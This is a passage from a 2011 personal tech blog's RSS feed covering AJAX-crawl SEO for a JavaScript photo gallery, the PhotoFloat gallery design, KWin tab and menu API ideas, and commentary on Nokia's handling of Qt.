		<description><![CDATA[Update: Now instead of using HtmlUnit, which proved to be very slow and memory intensive, I&#8217;ve written my own ServerExecute app based on WebKit using QtWebKit. Check it out here. PhotoFloat follows the design of using a static html page with a static javascript app that creates dynamic layouts from static json files on the [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/589#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=589" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><b>Update: Now instead of using HtmlUnit, which proved to be very slow and memory intensive, I&#8217;ve written my own ServerExecute app based on WebKit using QtWebKit. <a href="http://git.zx2c4.com/ServerExecute/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/ServerExecute/?referer=');">Check it out here.</a></b></p>
<p><a href="http://zx2c4.com/projects/photofloat" target="_blank" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/photofloat?referer=');">PhotoFloat</a> follows the design of using a static html page with a static javascript app that creates dynamic layouts from static json files on the server. This means that googlebot has nothing to index, since it doesn&#8217;t run javascript. Uh oh!</p>
<p>But not quite. A <a href="http://blog.zx2c4.com/567#comment-5829">comment in my blog post</a> pointed me toward Google&#8217;s <a href="http://code.google.com/web/ajaxcrawling/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/code.google.com/web/ajaxcrawling/?referer=');">AJAX Crawl specification</a>, which is incredible. Basically, sites that use URLs like: <a href="http://photos.jasondonenfeld.com/#!/columbia_winter_senior/img_1712.jpg" target="_blank" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com/_/columbia_winter_senior/img_1712.jpg?referer=');">http://photos.&#8203;jasondonenfeld.&#8203;com<strong>/#!/</strong>&#8203;columbia_winter_senior&#8203;/img_1712.jpg</a> with the #! in there (as Twitter does, for example) get rewritten by googlebot to http://photos.&#8203;jasondonenfeld.&#8203;com<strong>/?_escaped_fragment_=</strong>&#8203;columbia_winter_senior&#8203;/img_1712.jpg. Then, on the server, using a combination of mod_rewrite, a lil php script as a loader, and a tiny Java app I wrote around <a href="http://htmlunit.sourceforge.net/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/htmlunit.sourceforge.net/?referer=');">HtmlUnit</a> (Google says HtmlUnit it&#8217;s industry standard), the server sends back <em>static HTML as if a browser had already run all the JavaScript and executed HTML requests.</em></p>
<p>Aside from SEO, it means that Facebook&#8217;s crawler can get the proper title and the thumbnails:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2011/05/photofloat-facebook.png" alt="" title="Ajax crawl urls work with facebook." width="512" height="252" class="aligncenter size-full wp-image-600" /></p>
<p>The web evidently is moving away from server-generated HTML and onto JavaScript interfaces, and this is a way to keep up SEO.</p>
<h4>Source:</h4>
<li><a href="http://git.zx2c4.com/PhotoFloat/tree/web/utils/ServerExecute.java" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/PhotoFloat/tree/web/utils/ServerExecute.java?referer=');">Java app</a></li>
<li><a href="http://git.zx2c4.com/PhotoFloat/tree/web/staticrender.php" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/PhotoFloat/tree/web/staticrender.php?referer=');">PHP loader</a></li>
<li>.htaccess lines:
<pre>RewriteCond %{QUERY_STRING} _escaped_fragment_=
RewriteRule . staticrender.php [L]</pre>
</li>
<p>Hope this is useful.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/589#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=589" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F589&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/589"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/589"  data-text="Search Engine Optimization with AJAX Apps using the AJAX Crawl Specification" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/589"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/589/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PhotoFloat &#8212; A Web 2.0 Photo Gallery Done Right via Static JSON &amp; Dynamic Javascript</title>
		<link>http://blog.zx2c4.com/567</link>
		<comments>http://blog.zx2c4.com/567#comments</comments>
		<pubDate>Sun, 08 May 2011 21:44:32 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[json]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=567</guid>
		<description><![CDATA[UPDATE: Because of the wonderful reception across the internet, I&#8217;ve put together an instruction page on how to get this set up on your own server. I don&#8217;t really like database driven photo management software, and prefer instead to manage my photos in a good old no-nonsense directory structure. For this reason, I was particularly [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/567#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=567" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<h4>UPDATE: Because of the wonderful reception across the internet, I&#8217;ve <a href="http://zx2c4.com/projects/photofloat/" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/photofloat/?referer=');">put together an instruction page</a> on how to get this set up on your own server.</h4>
<p>I don&#8217;t really like database driven photo management software, and prefer instead to manage my photos in a good old no-nonsense directory structure. For this reason, I was particularly attracted to <a href="http://www.zenphoto.org/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.zenphoto.org/?referer=');">Zenphoto</a> as a means of getting my photos online, as it works on directory structures. Unfortunately, Zenphoto is horrible; it&#8217;s riddled with bugs, inconstant, a cluttered architecture, and most of all, it&#8217;s extremely slow. Every time it runs, it re-scans directories and makes a bazillion SQL calls. The viewer interface is also outdated and clunky, having a different html page for each photo. So I went back to the drawing board and considered how to make things better.</p>
<p><a href="http://photos.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/05/photo-float.png" alt="" title="Photo Float in Action" width="958" height="813" class="aligncenter size-full wp-image-569" /></a></p>
<p>Introducing PhotoFloat. The idea is this &#8212; instead of scanning and caching metadata and thumbnails during page load time, everything is to be done prior. It&#8217;s a bit of an old school mentality. There is a script that generates static <a href="http://en.wikipedia.org/wiki/JSON" target="_blank" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/JSON?referer=');">json</a> files of metadata and album structures and static thumbnails of images, so that all the content can be served directly by Apache. Why? Because I only need to generate new thumbnails and data files when I upload new images (or alternatively, on a cron job). So that&#8217;s what I did; I wrote a simple python script that walks a directory structure looking for new or changed images and albums. It&#8217;s smart too &#8212; to be super zippy, it does file modification time comparisons. It also cleans up after itself, deleting stale files.</p>
<p>So I have all my original images on my webserver, because I have <a href="http://www.dreamhost.com/r.cgi?423703" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.dreamhost.com/r.cgi?423703&amp;referer=');">Dreamhost&#8217;s unlimited hosting</a>. I also have another directory that I populate with symlinks to the directories I actually want online. Every time there are new images, my python script fires up, and updated json data files and thumbnail files are generated.</p>
<p>Great, but where does this leave us? What can we do with json files? This is where things become wonderful. Since all the data for the gallery is AJAX fetchable, there is <em>a single html page and a single javascript file</em> that takes care of the whole gallery. That&#8217;s right &#8212; all of the display of views is done client side, and in one page load.</p>
<p>To keep track of pages and for swapping around links, each different album and different image has it&#8217;s own hash url, like, for example: <a href="http://photos.jasondonenfeld.com/#!/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com/_/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg?referer=');">#!/new_hampshire_in_snow_3.15.11-3.17.11/img_1919.jpg</a>. It&#8217;s all lower case with naughty characters stripped out to keep up with the patterns of wordpress and other web apps. These function as permalinks.</p>
<p>The albums have extensive support for EXIF metadata, which can be loaded by clicking &#8216;show metadata&#8217;, and a transparent box slides up over the photo. There&#8217;s also the ability to download the original photos.</p>
<p>Each album gets a randomized thumbnail which assigns probabilities to each image in the album based on the number of images in each album and the depth of subalbums. The randomization algorithm is all done at client side.</p>
<p>Images are preloaded. Album data is prefetched. Everything is cached sanely. JSON files are gzipped. There are animations between views and smooth scrolling. The right and left arrow keys work. Clicking on the photo advances it, like on Facebook. Finally, I do include one dynamic script &#8212; a simple php script that takes old Zenphoto URLs and translates them into the new ones, so that people with old links can still access the same photos.</p>
<p>Essentially, there are a lot of little details that had to be done right, and to my knowledge, no web gallery that works on directory structures has done it well, making an ajaxy and speedy gallery. So now you have PhotoFloat. I&#8217;ve just finished writing it, and the code is a bit of a mess, but let me know if you have any suggestions or find any bugs.</p>
<p><strong>You can <a href="http://git.zx2c4.com/PhotoFloat/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/PhotoFloat/tree/?referer=');">browse the code in the git repository</a> or <a href="http://photos.jasondonenfeld.com/" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com/?referer=');">try it out live on my photo site</a>.</strong> If you make any modifications of my code or use it on your own site, please inform me and send any modifications back to me. Remember to run <tt>make</tt> on the web directory to minify the css and javascript, and also, be sure to change the google analytics tracking ID in <tt>web/js/999-googletracker.js</tt>.</p>
<p>Comments? Suggestions?</p>
<p>Update 2 for KDEers: It looks like some people from kipi-plugins and kphotoalbum are interested in building integration for this in.</p>
<p>Update 3: Following a suggestion in the comments below, URLs now use #!, which google translates to a special query string, and I&#8217;ve written a serverside component that executes the JavaScript and displays static content for googlebot. This allows the metadata to be crawled.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/567#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=567" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F567&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/567"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/567"  data-text="PhotoFloat &#8212; A Web 2.0 Photo Gallery Done Right via Static JSON &#038; Dynamic Javascript" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/567"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/567/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>KDE Alive with KWin Menu Excitement</title>
		<link>http://blog.zx2c4.com/548</link>
		<comments>http://blog.zx2c4.com/548#comments</comments>
		<pubDate>Tue, 05 Apr 2011 16:34:33 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[APIs]]></category>
		<category><![CDATA[dbusmenu]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[KWin]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=548</guid>
		<description><![CDATA[Martin&#8217;s post set off an eruption of ideas and debates over integrating dbusmenu and kwin and proposals for a new tabbed API. To quote José Pedro&#8216;s comment: The most important things I see lacking in Kwin from KDE 4.5 are an API to allow windows to open in a specific existing group (make a new [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/548#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=548" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations" onclick="pageTracker._trackPageview('/outgoing/blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations?referer=');">Martin&#8217;s post</a> set off an eruption of ideas and debates over integrating dbusmenu and kwin and proposals for a new tabbed API. To quote <a href="http://jp-arvela.co.cc/" onclick="pageTracker._trackPageview('/outgoing/jp-arvela.co.cc/?referer=');">José Pedro</a>&#8216;s <a href="http://blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations/comment-page-1/#comment-33262" onclick="pageTracker._trackPageview('/outgoing/blog.martin-graesslin.com/blog/2011/03/menu-button-inside-window-decorations/comment-page-1/_comment-33262?referer=');">comment</a>:</p>
<blockquote><p>
The most important things I see lacking in Kwin from KDE 4.5 are an API to allow windows to open in a specific existing group (make a new tab in the decoration), and that the windows from a specific group are not grouped in the taskbar. I also think that if these 2 problems are fixed, most apps in KDE could use the decoration tabs instead of relying on the currently used tabs, inside the application itself. The important thing to notice here is the natural mix between the application tabs and the menu button. These complete each other, and all apps in KDE which rely on tabs to show documents would ideally use this system (dolphin, rekonq, kate, kword… just to name a few).
</p></blockquote>
<p>Here are some screen shots proposed in the comment thread:</p>
<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/dolphin-mockup-1.png" alt="" title="Dolphin Top Menu" width="818" height="666" class="aligncenter size-full wp-image-549" /><br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/dolphin-mockup.png" alt="" title="Dolphin Top Tabs" width="921" height="524" class="aligncenter size-full wp-image-551" /><br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2011/03/firefox-mockup.png" alt="" title="Firefox Top Tabs" width="930" height="534" class="aligncenter size-full wp-image-550" /></p>
<p>Having an easy API to enable this would be very welcome.<br />
<code>setMainMenu(menu);<br />
setWindowTabs(tabWidget);</code></p>
<p>Elsewhere in KWin settings:</p>
<pre>[ X ] Place tabs in window border when supported.
[   ] Place main menu in window border when supported.</pre>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/548#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=548" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F548&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/548"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/548"  data-text="KDE Alive with KWin Menu Excitement" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/548"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/548/feed</wfw:commentRss>
		<slash:comments>54</slash:comments>
		</item>
		<item>
		<title>Nokia Admits to not Focusing on Desktop Qt</title>
		<link>http://blog.zx2c4.com/527</link>
		<comments>http://blog.zx2c4.com/527#comments</comments>
		<pubDate>Sat, 19 Feb 2011 09:44:13 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=527</guid>
		<description><![CDATA[In a comment from a Qt Nokia engineer: Qt on the desktop is currently not a priority for our R&#038;D team, even though Nokia does use Qt for desktop applications (and not only Qt Creator). That doesn’t mean that nobody is working on it, however we do believe that Qt is a great development tool [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/527#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=527" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>In a <a href="http://labs.qt.nokia.com/2011/02/18/buckets-of-cold-water/#comment-19420" onclick="pageTracker._trackPageview('/outgoing/labs.qt.nokia.com/2011/02/18/buckets-of-cold-water/_comment-19420?referer=');">comment from a Qt Nokia engineer</a>:</p>
<blockquote><p>
<!-- Good morning, and thanks for the taking the time to read the post and for great comments. For the start I’ll reply to the big topics raised, and then tackle a few individual comments after the coffee break. Before I start though, be reminded that even though I’ll try to stick to facts, how I interpret them reflects my personal view as the Head of Qt R&#038;D in Oslo.</p>
<p>On the topic of Stephen Elop – I will not start speculating here. He is CEO of Nokia, he has sold his Microsoft shares and invested into Nokia, and he has in my mind lived up to his promise of (brutally) honest and transparent decision making. He and everybody else in the company wants to turn Nokia around, and from all we have heard and seen so far he believes that Qt will play a part in that, both short term and long term. We might not like his smartphone strategy, but if we don’t believe what he and his management team say publicly, then this is not going to be a very constructive discussion.</p>
<p>Regarding the (financial or organizational) independence of Qt in Nokia – Trolltech wasn’t profitable for many years prior to the Nokia acquisition. After the acquisition we put Qt under the LGPL, and we have by now tripled the size of our team. We have invested significantly in our QA infrastructure (automation of quality gates and continuous integration), and there is much more travel between Oslo and Australia. However, assuming that each unit in a large organization has to be profitable to justify its existence is a bit of an oversimplification. Take Google: Android itself doesn’t make money – but it’s a vehicle that brings people into the Google-Internet which in turn increases advertisement revenue.<br />
So financial aspects do as such IMHO not play into this – Qt is an investment, and whatever money we could possibly make with Qt commercial licenses or services would barely be a blip on the radar. As long as management trusts that Qt can help Nokia, management will fund Qt – and everything we believe, and everything we have heard from top-management during the last week, is that Qt as a part of the solution, not as part of the problem.</p>
<p>I consider our organization to be largely independent – we have our own roadmap, we decide what positions we prioritize when we hire, we decide who to hire etc. Naturally, much of our work during the last two years was driven by requirements from other parts of Nokia, and many of the things we started up ourselves were inspired by the new opportunities we saw when working for a leading device company. Our success is of course no longer measured exclusively in “number of Qt users” (although that is still a very relevant metrics), and finding out how our success will be measured is work in progress as part of the strategy change.</p>
<p>I like to believe that Qt as a technology is independent of Nokia, thanks to the community of Qt users and thanks to Open Governance. There is a lot of momentum behind Qt most of which is independent of being able to target Symbian devices with Qt, and many of us get a lot of motivation from working on a technology that transcends short-term product needs and changing corporate strategies.</p>
<p>-->Qt on the desktop is currently not a priority for our R&#038;D team, even though Nokia does use Qt for desktop applications (and not only Qt Creator). That doesn’t mean that nobody is working on it, however we do believe that Qt is a great development tool for desktop applications, even if we just maintain it and keep it working on the desktop platforms. We definitely want to keep it that way, and we continue to improve and modernize Qt on the desktop as well, but I personally don’t really see that there are a lot of new features we could add to make Qt significantly more powerful for desktop development (esp features that are already provided by other libraries – why cannibalize our own community?).<!-- And lastly, even with 260 engineers and growing, there is only a finite amount of work we can do, and right now we prioritize getting Qt into top-shape for embedded platforms. We do expect that many of the improvements we make there will also bring value back to desktop developers – for instance, we are working on some exciting stuff with QML, accessibility, HTML5 and improved localization support.</p>
<p>So, what happens 2 years from now when the last Symbian device has shipped? I don’t have that kind of crystal ball, and I generally prefer the presence to the future. From looking at the presence I believe that making Qt’s future depend on the organizations behind non-competitive Symbian devices or a single MeeGo device in 2011 would have been a strategic mistake. On one of our whiteboards in the hallway somebody quoted Abraham Lincoln: “The best way to predict the future is to create it”. Since Friday 11th we have a real chance of doing exactly that. --></p></blockquote>
<p>Perhaps obvious and expected, but are we okay with this admission?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/527#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=527" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F527&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/527"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/527"  data-text="Nokia Admits to not Focusing on Desktop Qt" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/527"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/527/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Is This Optimistic Commenter Correct?</title>
		<link>http://blog.zx2c4.com/521</link>
		<comments>http://blog.zx2c4.com/521#comments</comments>
		<pubDate>Sun, 13 Feb 2011 21:13:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[meego]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=521</guid>
		<description><![CDATA[&#8230;or is this just wishful thinking? If his prediction is correct, does that mean Meego will be revived?<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/521#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=521" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://piacentini.blog.br/2011/02/elop-is-after-me/#comment-297" onclick="pageTracker._trackPageview('/outgoing/piacentini.blog.br/2011/02/elop-is-after-me/_comment-297?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/02/optimisticcomment.png" alt="" title="In a less imperfect world..." width="672" height="541" class="alignnone size-full wp-image-522" /></a></p>
<p>&#8230;or is this just wishful thinking?</p>
<p>If his prediction is correct, does that mean Meego will be revived?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/521#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=521" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F521&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/521"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/521"  data-text="Is This Optimistic Commenter Correct?" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/521"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/521/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>ACCELERATE QT OPEN GOVERNANCE</title>
		<link>http://blog.zx2c4.com/513</link>
		<comments>http://blog.zx2c4.com/513#comments</comments>
		<pubDate>Fri, 11 Feb 2011 15:44:46 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[death]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=513</guid>
		<description><![CDATA[&#8230;before Nokia kills Qt. Update: Our voice has been heard about this, but they still don&#8217;t know what the hell is happening.<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/513#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=513" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>&#8230;before <a href="http://www.engadget.com/2011/02/11/nokia-notifies-developers-that-qt-is-out-for-windows-phone-devel/" onclick="pageTracker._trackPageview('/outgoing/www.engadget.com/2011/02/11/nokia-notifies-developers-that-qt-is-out-for-windows-phone-devel/?referer=');">Nokia kills Qt</a>.</p>
<p><img src="http://blog.zx2c4.com/wp-content/uploads/2011/02/deathtomeego.jpg" title="Qt will die soon. Embrace, Extend, Extinguish" width="466" height="274" class="alignnone size-full wp-image-516" /></p>
<p><strong>Update:</strong> Our <a href="http://lists.qt-labs.org/public/opengov/2011-February/000283.html" onclick="pageTracker._trackPageview('/outgoing/lists.qt-labs.org/public/opengov/2011-February/000283.html?referer=');">voice has been heard</a> about this, but <a href="http://twitter.com/qtbynokia/status/36012807392591872" onclick="pageTracker._trackPageview('/outgoing/twitter.com/qtbynokia/status/36012807392591872?referer=');">they still don&#8217;t know what the hell is happening</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/513#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=513" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F513&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/513"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/513"  data-text="ACCELERATE QT OPEN GOVERNANCE" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/513"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/513/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>appeal.kde.org Hijacked by Debian Gaming Ninjas</title>
		<link>http://blog.zx2c4.com/364</link>
		<comments>http://blog.zx2c4.com/364#comments</comments>
		<pubDate>Sun, 15 Aug 2010 00:40:09 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=364</guid>
